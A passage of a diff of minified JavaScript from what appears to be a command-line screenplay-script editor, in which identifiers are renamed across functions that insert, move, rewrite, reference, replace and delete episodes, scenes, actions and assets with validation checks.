Q("edit",`${n} ${t}: ${s.join(", ")}`),be(e),`${t} ${s.join("+")}`+Be(e,c)}function V5(e,t,n,o){let i=qr(t,"scene",o,C5),r=ut(e),s={...n.raw.environment??{}};return o.space!==void 0&&(s.space=pi("space",o.space,_u,Mc)),o.time!==void 0&&(s.time=pi("time",o.time,Rc,Us)),n.raw.environment=s,Q("edit",`scene ${n.anchor}: ${i.join(", ")}`),be(e),`${n.anchor} ${i.join("+")} ${[s.space,s.time].filter(Boolean).join("/")}`+Be(e,r)}function $5(e,t,n,o){let i=qr(t,"asset",o,N5),r=ut(e);if(o.name!==void 0){let s=e.assets.find(c=>c!==n&&(c.name===o.name||c.aliases.includes(o.name)));if(s)throw new Error(`"${o.name}" already names ${s.kind} ${s.id}`);n.raw[`${n.kind}_name`]=o.name}if(o.desc!==void 0&&(n.raw.description=o.desc),o.importance!==void 0&&(n.raw.importance=km(o.importance)),o.role!==void 0){if(n.kind!=="actor")throw new Error(`role only applies to actors (${n.name} is a ${n.kind})`);o.role?n.raw.role_type=pi("role",o.role,fo,Pi):delete n.raw.role_type}return o.aliases!==void 0&&(o.aliases.length?n.raw.aliases=o.aliases:delete n.raw.aliases),Q("edit",`asset ${n.id}: ${i.join(", ")}`),be(e),`${n.id} ${i.join("+")} ${o.name??n.name}`+Be(e,r)}function D5(e,t,n,o,i){let r=qr(t,"state",i,U5),s=ut(e),c=n.raw.states.find(a=>a.state_id===o.id);if(i.name!==void 0){if(n.states.some(a=>a.id!==o.id&&a.name===i.name))throw new Error(`${n.name} already has a state named "${i.name}"`);c.state_name=i.name}return i.desc!==void 0&&(c.description=i.desc),Q("edit",`state ${n.id}/${o.id}: ${r.join(", ")}`),be(e),`${n.id}/${o.id} ${r.join("+")} ${i.name??o.name}`+Be(e,s)}function ym(e,t,n,o,i,r,s,c){let a=Te(e,t);if(a.t!=="action")throw new Error(`${t} is a ${a.t}; insert needs a sibling action`);let d=a.action,p=ut(e),l={type:pi("type",o,qt,Cn),content:i};if(e.version===4&&(l.action_id=Lo("ac",new Set(e.actions.keys()))),o==="dialogue"||o==="inner_thought"){if(!r)throw new Error(`a ${o} needs a speaker`);l.speaker=hp(e,r),s!==void 0&&pa(e,l,s)}else if(r||s)throw new Error(`a ${o} takes neither speaker nor paren`);c!==void 0&&(l.extend=c);let f=d.scene.raw.actions,u=f.indexOf(d.raw)+(n==="before"?0:1);return f.splice(u,0,l),Q("insert",`${l.action_id??`${d.scene.anchor}#${u}`} ${n} ${d.anchor}`),be(e),`${l.action_id??`${d.scene.anchor}#${u}`} ${n} ${d.anchor} ${ua(l)}`+Be(e,p)}function wm(e,t,n,o="after"){let i=Te(e,t);if(i.t!=="action")throw new Error(`${t} is a ${i.t}; move targets one action`);let r=Te(e,n);if(r.t!=="action")throw new Error(`${n} is a ${r.t}; move --to takes a sibling action`);if(i.action===r.action)throw new Error(`${t} cannot move relative to itself`);let s=ut(e),c=i.action.scene.raw.actions;c.splice(c.indexOf(i.action.raw),1);let a=r.action.scene.raw.actions;return a.splice(a.indexOf(r.action.raw)+(o==="before"?0:1),0,i.action.raw),Q("move",`${i.action.scene.anchor} -> ${r.action.scene.anchor}, identity ${i.action.anchor} preserved`),be(e),`${i.action.anchor} ${o} ${r.action.anchor} (${i.action.scene.anchor} -> ${r.action.scene.anchor})`+Be(e,s)}function pa(e,t,n){let o=e.version===4?"parenthetical":"emotion";n===null?delete t[o]:t[o]=n}function _m(e,t){if(t===null){e.extend&&delete e.extend.timestamp;return}let n;try{n=mo(t).canonical}catch(o){throw o instanceof et?new Error(`${o.message} (got ${JSON.stringify(t)})`):o}e.extend={...e.extend??{},timestamp:n}}function hp(e,t){let n=e.assets.find(a=>a.name===t||a.aliases.includes(t)),[o,i]=n?[t,void 0]:G5(t,"\xB7"),r=I5[o];if(r)return i?{kind:r,label:i}:{kind:r};let s=Te(e,o);if(s.t!=="asset"||s.asset.kind!=="actor")throw new Error(`Not an actor: ${t}`);let c={actor_id:s.asset.id};if(i){let a=s.asset.states.find(d=>d.name===i||d.id===i);if(!a)throw new Error(`Unknown state "${i}" on ${s.asset.name}`);c.state_id=a.id}return c}function G5(e,t){let n=e.indexOf(t);return n<0?[e,void 0]:[e.slice(0,n),e.slice(n+t.length)]}function ua(e){return Yr(String(e.content??""),40)}function Em(e,t,n,o={}){let i=Mo(structuredClone(e.raw)),r=B5(i,t,n,o);return e.raw=i.raw,be(e),r}function B5(e,t,n,o){if(t==="+"||Number(t)===e.episodes.length+1){let r={scenes:[]};return e.version===4&&(r.episode_id=Lo("ep",new Set(e.eps.keys()))),e.raw.episodes.push(r),Q("write",`appending episode ${e.episodes.length+1}`),um(e,r,e.episodes.length+1,n,o,!0)}let i=Te(e,t);if(i.t==="scene")return J5(e,i.scene,n,o);if(i.t==="ep")return um(e,i.ep.raw,i.ep.no,n,o,!1);throw new Error(`write targets a scene or an episode (got ${i.t})`)}function J5(e,t,n,o){let i=ut(e),r=Sm(e,t.raw,t,n,new Set(e.actions.keys()),o);return be(e),xm(t.anchor,r)+Be(e,i)}function xm(e,t){return`${e}: ${t.total} actions (${t.kept} kept, ${t.created} new, ${t.dropped.length} deleted)`+(t.dropped.length?`
183
+ deleted: ${t.dropped.map(n=>`${n.anchor} ${ua(n.raw)}`).join(`
184
+ `)}`:"")}function Sm(e,t,n,o,i,r,s,c){let a=A5(e),{head:d,meta:p,body:l}=cm(o.split(`
185
+ `));if(d){let h=rp(d,p);t.environment=h.env.space||h.env.time?h.env:void 0,t.environment===void 0&&delete t.environment,t.location=h.location?fp(e,h.location,"location"):null,t.actors=h.cast.map(_=>fp(e,_,"actor")),t.props=h.props.map(_=>fp(e,_,"prop"))}let f=s??new Map((n?.actions??[]).map(h=>[h.anchor,h])),u=c??new Set,y=new Set,m=[],g=0,w=n?n.anchor:"this new scene";for(let h of l){let _=am(h,a);if(!_)continue;let x=_.anchor?f.get(_.anchor):void 0;if(_.anchor&&!x)throw new Error(`Anchor ${_.anchor} is not in ${w} \u2014 move it with \`move\`, or drop the anchor to create a new action`);if(x&&u.has(x.anchor))throw new Error(`Anchor ${_.anchor} appears twice in ${w} \u2014 drop the anchor from the copy to make it a new action`);let E=x?x.raw:{};!x&&e.version===4&&(E.action_id=Lo("ac",i)),E.type=pi("type",_.type,qt,Cn),E.content=_.content,_.type==="dialogue"||_.type==="inner_thought"?(E.speaker=hp(e,_.speakerName),pa(e,E,_.paren??null)):(delete E.speaker,pa(e,E,null)),_m(E,_.ts??null),x?(y.add(x.anchor),u.add(x.anchor)):g++,m.push(E)}if(!m.length&&(n?.actions.length??0)>0&&!r.allowDelete)throw new Error(`That would leave ${w} with no actions${n?` (deleting all ${n.actions.length})`:""} \u2014 the body after the \`##\` header is empty; pass --allow-delete if that is the intent`);if(m.length&&!y.size&&(n?.actions.length??0)>0&&!r.allowDelete)throw new Error(`None of the ${m.length} line(s) carry an anchor from ${w}, so all ${n.actions.length} existing action(s) would be replaced by new ids \u2014 \`read --plain\` output cannot be written back; re-read without --plain, or pass --allow-delete to rewrite the scene from scratch`);return t.actions=m,{total:m.length,kept:y.size,created:g,dropped:s?[]:(n?.actions??[]).filter(h=>!y.has(h.anchor))}}function um(e,t,n,o,i,r){let s=ut(e),c=r?[]:e.episodes[n-1].scenes,a=new Map;for(let x of c)a.set(x.anchor,x),a.set(x.id,x);let d=[];for(let x of o.split(`
186
186
  `))x.startsWith("##")?d.push(x):d.length&&(d[d.length-1]+=`
187
- `+x);if(!d.length)throw new Error("No scene headers found \u2014 an episode body needs `## \u2026` lines");let p=new Set(e.actions.keys()),l=new Set(e.scenes.keys()),f=new Map;for(let x of c)for(let E of x.actions)f.set(E.anchor,E);let u=new Set,y=new Set,m=[],g=[],w=0;for(let x of d){let E=sp(x.split(`
188
- `)[0]),A=E.anchor?a.get(E.anchor):void 0;if(E.anchor&&!A)throw new Error(`Scene ${E.anchor} is not in episode ${n} \u2014 drop the id from the header to create a new scene here`);let k=A?A.raw:{};A?y.add(A.anchor):(e.version===4?k.scene_id=No("scn",l):k.scene_id=`scn_${String(c.length+w+1).padStart(3,"0")}`,w++);let N=Im(e,k,A??null,x,p,i,f,u);m.push(k),g.push(Sm(A?A.anchor:`new ${k.scene_id}`,N))}let h=[...f.values()].filter(x=>!u.has(x.anchor));if(h.length&&!i.allowDelete)throw new Error(`This would delete ${h.length} action(s) from episode ${n}: `+h.slice(0,6).map(x=>`${x.anchor}(${x.scene.anchor})`).join(", ")+(h.length>6?" \u2026":"")+" \u2014 keep their lines, or pass --allow-delete if that is the intent");let _=c.filter(x=>!y.has(x.anchor));if(_.length&&!i.allowDelete)throw new Error(`This would delete ${_.length} whole scene(s) from episode ${n}: `+_.map(x=>`${x.anchor}(${x.actions.length} actions)`).join(", ")+" \u2014 include their `##` headers to keep them, or pass --allow-delete if that is the intent");return Q("write",`episode ${n}: ${d.length} scene blocks, ${w} new, ${_.length} deleted`),t.scenes=m,be(e),`EP${n}: ${m.length} scenes (${m.length-w} kept, ${w} new, ${_.length} deleted, ${h.length} actions deleted)
187
+ `+x);if(!d.length)throw new Error("No scene headers found \u2014 an episode body needs `## \u2026` lines");let p=new Set(e.actions.keys()),l=new Set(e.scenes.keys()),f=new Map;for(let x of c)for(let E of x.actions)f.set(E.anchor,E);let u=new Set,y=new Set,m=[],g=[],w=0;for(let x of d){let E=rp(x.split(`
188
+ `)[0]),A=E.anchor?a.get(E.anchor):void 0;if(E.anchor&&!A)throw new Error(`Scene ${E.anchor} is not in episode ${n} \u2014 drop the id from the header to create a new scene here`);let k=A?A.raw:{};A?y.add(A.anchor):(e.version===4?k.scene_id=Lo("scn",l):k.scene_id=`scn_${String(c.length+w+1).padStart(3,"0")}`,w++);let N=Sm(e,k,A??null,x,p,i,f,u);m.push(k),g.push(xm(A?A.anchor:`new ${k.scene_id}`,N))}let h=[...f.values()].filter(x=>!u.has(x.anchor));if(h.length&&!i.allowDelete)throw new Error(`This would delete ${h.length} action(s) from episode ${n}: `+h.slice(0,6).map(x=>`${x.anchor}(${x.scene.anchor})`).join(", ")+(h.length>6?" \u2026":"")+" \u2014 keep their lines, or pass --allow-delete if that is the intent");let _=c.filter(x=>!y.has(x.anchor));if(_.length&&!i.allowDelete)throw new Error(`This would delete ${_.length} whole scene(s) from episode ${n}: `+_.map(x=>`${x.anchor}(${x.actions.length} actions)`).join(", ")+" \u2014 include their `##` headers to keep them, or pass --allow-delete if that is the intent");return Q("write",`episode ${n}: ${d.length} scene blocks, ${w} new, ${_.length} deleted`),t.scenes=m,be(e),`EP${n}: ${m.length} scenes (${m.length-w} kept, ${w} new, ${_.length} deleted, ${h.length} actions deleted)
189
189
  `+g.map(x=>" "+x.replace(/\n/g,`
190
190
  `)).join(`
191
191
  `)+(_.length?`
192
- deleted scenes: ${_.map(x=>x.anchor).join(", ")}`:"")+Be(e,s)}function mp(e,t,n){let{name:o,states:i}=pm(t),r=Te(e,o);if(r.t!=="asset"||r.asset.kind!==n)throw new Error(`"${o}" is not a registered ${n} \u2014 create it with \`asset\` first`);let s=(i.length?i:["default"]).map(d=>{let p=r.asset.states.filter(l=>l.name===d||l.id===d);if(!p.length)throw new Error(`${r.asset.name} has no state "${d}" (has: ${r.asset.states.map(l=>l.name).join(", ")})`);if(p.length>1)throw new Error(`${r.asset.name} has ${p.length} states named "${d}"; use the state id`);return p[0].id}),c=[...new Set(s)].sort(),a=`${n}_id`;return e.version===4?{[a]:r.asset.id,state_ids:c}:{[a]:r.asset.id,state_id:c[0]}}function Am(e,t,n,o,i=!1){let r=Te(e,t);if(r.t!=="scene")throw new Error(`${t} is a ${r.t}; ref targets one scene`);let s=r.scene,c=Te(e,n);if(c.t!=="asset")throw new Error(`${n} is a ${c.t}; ref takes an actor, location or prop`);let a=c.asset,d=a.kind==="actor"?"actors":a.kind==="prop"?"props":"location",p=ut(e);if(i){if(a.kind==="location"){if(s.location?.id!==a.id)throw new Error(`${s.anchor}'s location is ${s.location?di(e,s.location.id):"empty"}, not ${a.name}`);s.raw.location=null}else{let m=s.raw[d],g=m.findIndex(w=>w[`${a.kind}_id`]===a.id);if(g<0)throw new Error(`${s.anchor} does not reference ${a.name}`);m.splice(g,1)}return Q("ref",`${s.anchor} -= ${a.id}`),be(e),`${s.anchor} removed ${a.name}`+Be(e,p)}if(!o.length)throw new Error(`ref needs at least one state for ${a.name} (has: ${a.states.map(m=>m.name).join(", ")}) \u2014 nothing is implied, not even default`);let l=[...new Set(o.map(m=>{let g=a.states.filter(w=>w.name===m||w.id===m);if(!g.length)throw new Error(`${a.name} has no state "${m}" (has: ${a.states.map(w=>w.name).join(", ")})`);if(g.length>1)throw new Error(`${a.name} has ${g.length} states named "${m}"; use the state id`);return g[0].id}))].sort(),f=`${a.kind}_id`,u=e.version===4?{[f]:a.id,state_ids:l}:{[f]:a.id,state_id:l[0]};if(e.version===3&&l.length>1)throw new Error("Script v3 holds one state per reference; pass a single state");let y;if(a.kind==="location")y=s.location?s.location.id===a.id?"restated":"replaced":"set",s.raw.location=u;else{let m=s.raw[d],g=m.findIndex(w=>w[f]===a.id);g<0?(m.push(u),y="added"):(m[g]=u,y="restated")}return Q("ref",`${s.anchor} ${y} ${a.id} = [${l.join(", ")}]`),be(e),`${s.anchor} ${y} ${a.name}(${l.map(m=>pi(e,a.id,m)).join("+")})`+Be(e,p)}function km(e,t,n,o={}){if(!t)throw new Error("replace needs a pattern; an empty one would rewrite every action");let i=new RegExp(t,"gu"),r=ut(e),s=gp(e,o),c=s.filter(p=>(i.lastIndex=0,i.test(p.content)));if(Q("replace",`/${t}/ matched ${c.length} of ${s.length} actions in scope`),!c.length)return`0 hits for /${t}/ \u2014 nothing to do`;let a=Math.max(...c.map(p=>p.anchor.length)),d=c.map(p=>{let l=p.content.replace(i,n);return`${p.anchor.padEnd(a)} ${p.scene.ep.no}-${p.scene.no}-${p.no}
192
+ deleted scenes: ${_.map(x=>x.anchor).join(", ")}`:"")+Be(e,s)}function fp(e,t,n){let{name:o,states:i}=dm(t),r=Te(e,o);if(r.t!=="asset"||r.asset.kind!==n)throw new Error(`"${o}" is not a registered ${n} \u2014 create it with \`asset\` first`);let s=(i.length?i:["default"]).map(d=>{let p=r.asset.states.filter(l=>l.name===d||l.id===d);if(!p.length)throw new Error(`${r.asset.name} has no state "${d}" (has: ${r.asset.states.map(l=>l.name).join(", ")})`);if(p.length>1)throw new Error(`${r.asset.name} has ${p.length} states named "${d}"; use the state id`);return p[0].id}),c=[...new Set(s)].sort(),a=`${n}_id`;return e.version===4?{[a]:r.asset.id,state_ids:c}:{[a]:r.asset.id,state_id:c[0]}}function Im(e,t,n,o,i=!1){let r=Te(e,t);if(r.t!=="scene")throw new Error(`${t} is a ${r.t}; ref targets one scene`);let s=r.scene,c=Te(e,n);if(c.t!=="asset")throw new Error(`${n} is a ${c.t}; ref takes an actor, location or prop`);let a=c.asset,d=a.kind==="actor"?"actors":a.kind==="prop"?"props":"location",p=ut(e);if(i){if(a.kind==="location"){if(s.location?.id!==a.id)throw new Error(`${s.anchor}'s location is ${s.location?ci(e,s.location.id):"empty"}, not ${a.name}`);s.raw.location=null}else{let m=s.raw[d],g=m.findIndex(w=>w[`${a.kind}_id`]===a.id);if(g<0)throw new Error(`${s.anchor} does not reference ${a.name}`);m.splice(g,1)}return Q("ref",`${s.anchor} -= ${a.id}`),be(e),`${s.anchor} removed ${a.name}`+Be(e,p)}if(!o.length)throw new Error(`ref needs at least one state for ${a.name} (has: ${a.states.map(m=>m.name).join(", ")}) \u2014 nothing is implied, not even default`);let l=[...new Set(o.map(m=>{let g=a.states.filter(w=>w.name===m||w.id===m);if(!g.length)throw new Error(`${a.name} has no state "${m}" (has: ${a.states.map(w=>w.name).join(", ")})`);if(g.length>1)throw new Error(`${a.name} has ${g.length} states named "${m}"; use the state id`);return g[0].id}))].sort(),f=`${a.kind}_id`,u=e.version===4?{[f]:a.id,state_ids:l}:{[f]:a.id,state_id:l[0]};if(e.version===3&&l.length>1)throw new Error("Script v3 holds one state per reference; pass a single state");let y;if(a.kind==="location")y=s.location?s.location.id===a.id?"restated":"replaced":"set",s.raw.location=u;else{let m=s.raw[d],g=m.findIndex(w=>w[f]===a.id);g<0?(m.push(u),y="added"):(m[g]=u,y="restated")}return Q("ref",`${s.anchor} ${y} ${a.id} = [${l.join(", ")}]`),be(e),`${s.anchor} ${y} ${a.name}(${l.map(m=>di(e,a.id,m)).join("+")})`+Be(e,p)}function Am(e,t,n,o={}){if(!t)throw new Error("replace needs a pattern; an empty one would rewrite every action");let i=new RegExp(t,"gu"),r=ut(e),s=mp(e,o),c=s.filter(p=>(i.lastIndex=0,i.test(p.content)));if(Q("replace",`/${t}/ matched ${c.length} of ${s.length} actions in scope`),!c.length)return`0 hits for /${t}/ \u2014 nothing to do`;let a=Math.max(...c.map(p=>p.anchor.length)),d=c.map(p=>{let l=p.content.replace(i,n);return`${p.anchor.padEnd(a)} ${p.scene.ep.no}-${p.scene.no}-${p.no}
193
193
  ${" ".repeat(a)} - ${p.content}
194
194
  ${" ".repeat(a)} + ${l}`});if(!o.apply)return`${c.length} action(s) would change (dry run \u2014 pass apply to write)
195
195
  `+d.join(`
196
196
  `);for(let p of c)i.lastIndex=0,p.raw.content=p.content.replace(i,n);return be(e),Q("replace",`wrote ${c.length} actions`),`${c.length} action(s) changed`+Be(e,r)+`
197
197
  `+d.join(`
198
- `)}function li(e,t,n,o){if(!n.has(t))throw new Error(`${e} must be one of ${o.join(" | ")} (got "${t}")`);return t}function bm(e){return li("importance",e,Pt,$n)}function Xi(e){return e.version===4?Pe(e.raw):wt(e.raw)}function vm(e){let t=Xi(e);return[`${e.episodes.length} episodes / ${e.scenes.size?[...new Set(e.episodes.flatMap(o=>o.scenes))].length:0} scenes / ${bn(e).length} actions \u2014 ${t.ok?"ok":`${t.errors.length} error(s)`}`+(t.warnings.length?`, ${t.warnings.length} warning(s)`:""),..._p([...t.errors.map(o=>["error",o]),...t.warnings.map(o=>["warning",o])])].join(`
199
- `)}function wp(e,t={}){let n=Xi(e),o=[...n.errors.map(i=>["error",i]),...n.warnings.map(i=>["warning",i])];return t.severity&&(o=o.filter(([i])=>i===t.severity)),t.code&&(o=o.filter(([,i])=>i.code===t.code)),Q("issues",`${o.length} matching issue(s)`),o.length?_p(o).join(`
200
- `):"No issues."}function _p(e){return e.map(([t,n])=>`${t} ${n.code} ${n.path} ${n.message}`+(n.repair_hint?`
201
- fix: ${n.repair_hint}`:""))}function ut(e){return Xi(e)}function Be(e,t){let n=Xi(e),o=[...Pc(t.errors,n.errors).map(i=>["error",i]),...Pc(t.warnings,n.warnings).map(i=>["warning",i])];return o.length?(Q("check",`${o.length} issue(s) introduced by this edit`),`
198
+ `)}function pi(e,t,n,o){if(!n.has(t))throw new Error(`${e} must be one of ${o.join(" | ")} (got "${t}")`);return t}function km(e){return pi("importance",e,Pt,Vn)}function Zi(e){return e.version===4?Pe(e.raw):wt(e.raw)}function bm(e){let t=Zi(e);return[`${e.episodes.length} episodes / ${e.scenes.size?[...new Set(e.episodes.flatMap(o=>o.scenes))].length:0} scenes / ${kn(e).length} actions \u2014 ${t.ok?"ok":`${t.errors.length} error(s)`}`+(t.warnings.length?`, ${t.warnings.length} warning(s)`:""),...wp([...t.errors.map(o=>["error",o]),...t.warnings.map(o=>["warning",o])])].join(`
199
+ `)}function yp(e,t={}){let n=Zi(e),o=[...n.errors.map(i=>["error",i]),...n.warnings.map(i=>["warning",i])];return t.severity&&(o=o.filter(([i])=>i===t.severity)),t.code&&(o=o.filter(([,i])=>i.code===t.code)),Q("issues",`${o.length} matching issue(s)`),o.length?wp(o).join(`
200
+ `):"No issues."}function wp(e){return e.map(([t,n])=>`${t} ${n.code} ${n.path} ${n.message}`+(n.repair_hint?`
201
+ fix: ${n.repair_hint}`:""))}function ut(e){return Zi(e)}function Be(e,t){let n=Zi(e),o=[...Uc(t.errors,n.errors).map(i=>["error",i]),...Uc(t.warnings,n.warnings).map(i=>["warning",i])];return o.length?(Q("check",`${o.length} issue(s) introduced by this edit`),`
202
202
  introduced ${o.length} issue(s):
203
- `+_p(o).join(`
204
- `)):""}var Ep={actor:"actors",location:"locations",prop:"props"},K5={actor:"actors",location:"location",prop:"props"},mm={actor:"act",location:"loc",prop:"prp"};function Om(e,t,n,o,i="featured",r=[]){if(!n.trim())throw new Error("asset needs a name");let s=ut(e),c=e.assets.find(l=>l.name===n||l.aliases.includes(n));if(c)throw new Error(`"${n}" already names ${c.kind} ${c.id}; read it instead`);let a=Ep[t],d=e.version===4?No(mm[t],new Set(e.assets.map(l=>l.id))):`${mm[t]}_${String(e.raw[a].length+1).padStart(3,"0")}`,p={[`${t}_id`]:d,[`${t}_name`]:n,importance:bm(i),description:o,states:[{state_id:"default",state_name:n,description:o}]};return r.length&&(p.aliases=r),e.raw[a].push(p),Q("asset",`${t} ${d} "${n}" + default state`),be(e),`${d} ${n} ${t} states: default`+Be(e,s)}function Rm(e,t,n,o){let i=Te(e,t);if(i.t!=="asset")throw new Error(`${t} is a ${i.t}; state targets an asset`);let r=ut(e);if(i.asset.states.some(c=>c.name===n))throw new Error(`${i.asset.name} already has a state named "${n}"`);let s=e.version===4?No("st",new Set(i.asset.states.map(c=>c.id))):`st_${String(i.asset.states.length).padStart(3,"0")}`;return i.asset.raw.states.push({state_id:s,state_name:n,description:o}),Q("state",`${i.asset.id} + ${s} "${n}"`),be(e),`${i.asset.id}/${s} ${n} (${i.asset.name} now has ${i.asset.states.length+1} states)`+Be(e,r)}function j5(e,t){let n=Te(e,t);switch(n.t){case"script":return{raw:n.doc.raw,label:"script"};case"ep":return{raw:n.ep.raw,label:n.ep.id};case"scene":return{raw:n.scene.raw,label:n.scene.anchor};case"action":return{raw:n.action.raw,label:n.action.anchor};case"asset":return{raw:n.asset.raw,label:n.asset.id};case"state":return{raw:n.asset.raw.states.find(i=>i.state_id===n.state.id),label:`${n.asset.id}/${n.state.id}`}}}function Mm(e,t,n,o,i=!1){let{raw:r,label:s}=j5(e,t),c=r.extend??{};if(!n){let a=Object.keys(c);return a.length?`${s} extend:
203
+ `+wp(o).join(`
204
+ `)):""}var _p={actor:"actors",location:"locations",prop:"props"},K5={actor:"actors",location:"location",prop:"props"},fm={actor:"act",location:"loc",prop:"prp"};function vm(e,t,n,o,i="featured",r=[]){if(!n.trim())throw new Error("asset needs a name");let s=ut(e),c=e.assets.find(l=>l.name===n||l.aliases.includes(n));if(c)throw new Error(`"${n}" already names ${c.kind} ${c.id}; read it instead`);let a=_p[t],d=e.version===4?Lo(fm[t],new Set(e.assets.map(l=>l.id))):`${fm[t]}_${String(e.raw[a].length+1).padStart(3,"0")}`,p={[`${t}_id`]:d,[`${t}_name`]:n,importance:km(i),description:o,states:[{state_id:"default",state_name:n,description:o}]};return r.length&&(p.aliases=r),e.raw[a].push(p),Q("asset",`${t} ${d} "${n}" + default state`),be(e),`${d} ${n} ${t} states: default`+Be(e,s)}function Om(e,t,n,o){let i=Te(e,t);if(i.t!=="asset")throw new Error(`${t} is a ${i.t}; state targets an asset`);let r=ut(e);if(i.asset.states.some(c=>c.name===n))throw new Error(`${i.asset.name} already has a state named "${n}"`);let s=e.version===4?Lo("st",new Set(i.asset.states.map(c=>c.id))):`st_${String(i.asset.states.length).padStart(3,"0")}`;return i.asset.raw.states.push({state_id:s,state_name:n,description:o}),Q("state",`${i.asset.id} + ${s} "${n}"`),be(e),`${i.asset.id}/${s} ${n} (${i.asset.name} now has ${i.asset.states.length+1} states)`+Be(e,r)}function j5(e,t){let n=Te(e,t);switch(n.t){case"script":return{raw:n.doc.raw,label:"script"};case"ep":return{raw:n.ep.raw,label:n.ep.id};case"scene":return{raw:n.scene.raw,label:n.scene.anchor};case"action":return{raw:n.action.raw,label:n.action.anchor};case"asset":return{raw:n.asset.raw,label:n.asset.id};case"state":return{raw:n.asset.raw.states.find(i=>i.state_id===n.state.id),label:`${n.asset.id}/${n.state.id}`}}}function Rm(e,t,n,o,i=!1){let{raw:r,label:s}=j5(e,t),c=r.extend??{};if(!n){let a=Object.keys(c);return a.length?`${s} extend:
205
205
  `+a.map(d=>` ${d} = ${JSON.stringify(c[d])}`).join(`
206
- `):`${s} has no extend data`}if(i){if(!(n in c))throw new Error(`${s} has no extend key "${n}"`);return delete c[n],Object.keys(c).length?r.extend=c:delete r.extend,Q("ext",`${s} -= ${n}`),be(e),`${s} removed extend.${n}`}if(o===void 0){if(!(n in c))throw new Error(`${s} has no extend key "${n}"`);return`${s} extend.${n} = ${JSON.stringify(c[n])}`}return r.extend={...c,[n]:o},Q("ext",`${s} extend.${n} = ${o}`),be(e),`${s} extend.${n} = ${JSON.stringify(o)}`}function Lm(e,t,n={}){let o=Te(e,t),i=ut(e);if(o.t==="action"){let r=o.action.scene.raw.actions;return r.splice(r.indexOf(o.action.raw),1),Q("del",`action ${o.action.anchor} from ${o.action.scene.anchor}`),be(e),`deleted ${o.action.anchor} ${fa(o.action.raw)}`+Be(e,i)}if(o.t==="scene"){if(o.scene.actions.length&&!n.force)throw new Error(`${o.scene.anchor} still holds ${o.scene.actions.length} action(s) \u2014 pass --force to delete the scene and everything in it`);let r=o.scene.ep.raw.scenes;return r.splice(r.indexOf(o.scene.raw),1),Q("del",`scene ${o.scene.anchor} (${o.scene.actions.length} actions)`),be(e),`deleted scene ${o.scene.anchor} with ${o.scene.actions.length} action(s)`+Be(e,i)}if(o.t==="ep"){let r=o.ep.scenes.reduce((c,a)=>c+a.actions.length,0);if(o.ep.scenes.length&&!n.force)throw new Error(`episode ${o.ep.no} still holds ${o.ep.scenes.length} scene(s) / ${r} action(s) \u2014 pass --force to delete the episode and everything in it`);let s=e.raw.episodes;return s.splice(s.indexOf(o.ep.raw),1),Q("del",`episode ${o.ep.no}`),be(e),`deleted episode ${o.ep.no} (${o.ep.id}) with ${o.ep.scenes.length} scene(s) / ${r} action(s)`}if(o.t==="asset")return z5(e,o.asset,n)+Be(e,i);if(o.t==="state")return H5(e,o.asset,o.state,n)+Be(e,i);throw new Error(`del takes an action, scene, episode, asset or state (got ${o.t})`)}function Nm(e,t){let n=[];for(let o of e.episodes)for(let i of o.scenes)[i.location,...i.actors,...i.props].some(r=>r&&r.id===t)&&n.push(i);return{scenes:n,speakers:bn(e).filter(o=>o.speaker?.id===t)}}function z5(e,t,n){let{scenes:o,speakers:i}=Nm(e,t.id),r=o.length+i.length;if(r&&!n.replacement&&!n.force)throw new Error(`${t.name} is still referenced by ${o.length} scene(s) and ${i.length} speaker(s) \u2014 merge it into another asset with \`merge ${t.id} <other>\`, or pass --force to strip every reference`);if(n.replacement)return xp(e,t.id,n.replacement);for(let a of o){a.raw.location?.[`${t.kind}_id`]===t.id&&(a.raw.location=null);for(let d of["actors","props"]){let p=a.raw[d];if(!p)continue;let l=p.findIndex(f=>f[`${t.kind}_id`]===t.id);l>=0&&p.splice(l,1)}}for(let a of i)delete a.raw.speaker;let s=Ep[t.kind],c=e.raw[s];return c.splice(c.indexOf(t.raw),1),Q("del",`asset ${t.id}, stripped ${o.length} scene refs + ${i.length} speakers`),be(e),`deleted ${t.kind} ${t.id} ${t.name}`+(r?`
207
- stripped ${o.length} scene reference(s) and ${i.length} speaker(s)`:"")}function H5(e,t,n,o){if(n.id==="default")throw new Error("every asset keeps its default state; delete the asset instead");let i=e.episodes.flatMap(d=>d.scenes).filter(d=>[d.location,...d.actors,...d.props].some(p=>p&&p.id===t.id&&p.states.includes(n.id))),r=bn(e).filter(d=>d.speaker?.id===t.id&&d.speaker.state===n.id),s=i.length+r.length,c="";if(s){if(!o.replacement&&!o.force)throw new Error(`${t.name}/${n.name} is bound in ${i.length} scene(s) and named by ${r.length} speaker(s) \u2014 pass --replacement <state> to rewire them, or --force to drop the bindings`);let d;if(o.replacement){let p=t.states.filter(l=>l.id===o.replacement||l.name===o.replacement);if(p.length!==1)throw new Error(`${t.name} has no single state "${o.replacement}"`);if(p[0].id===n.id)throw new Error("replacement must differ from the state being deleted");d=p[0].id}for(let p of i)for(let l of[p.raw.location,...p.raw.actors??[],...p.raw.props??[]])if(!(!l||l[`${t.kind}_id`]!==t.id))if(e.version===4){let f=new Set(l.state_ids.filter(u=>u!==n.id));d&&f.add(d),f.size||f.add("default"),l.state_ids=[...f].sort()}else l.state_id=d??"default";for(let p of r)d?p.raw.speaker.state_id=d:delete p.raw.speaker.state_id;c=`
208
- ${d?"rewired":"cleared"} ${i.length} scene binding(s) and ${r.length} speaker(s)${d?` to ${pi(e,t.id,d)}`:""}`}let a=t.raw.states;return a.splice(a.findIndex(d=>d.state_id===n.id),1),Q("del",`state ${t.id}/${n.id}`),be(e),`deleted state ${t.id}/${n.id} ${n.name}`+c}function xp(e,t,n){let o=Te(e,t),i=Te(e,n);if(o.t!=="asset"||i.t!=="asset")throw new Error("merge takes two assets");if(o.asset===i.asset)throw new Error(`cannot merge ${o.asset.name} into itself`);if(o.asset.kind!==i.asset.kind)throw new Error(`cannot merge a ${o.asset.kind} into a ${i.asset.kind}`);let r=ut(e),s=o.asset,c=i.asset,a=`${s.kind}_id`,d=new Set(c.states.map(m=>m.id)),p=new Map;for(let m of s.states){let g=c.states.find(h=>h.name===m.name);if(g){p.set(m.id,g.id);continue}if(m.id==="default"){p.set(m.id,"default");continue}let w=e.version===4?No("st",d):`st_${String(c.states.length+p.size).padStart(3,"0")}`;c.raw.states.push({state_id:w,state_name:m.name,description:m.desc}),p.set(m.id,w)}let l=K5[s.kind],{scenes:f,speakers:u}=Nm(e,s.id);for(let m of f){let g=m.raw[l],w=l==="location"?g?[g]:[]:g??[];for(let h of w)h[a]===s.id&&(h[a]=c.id,e.version===4?h.state_ids=[...new 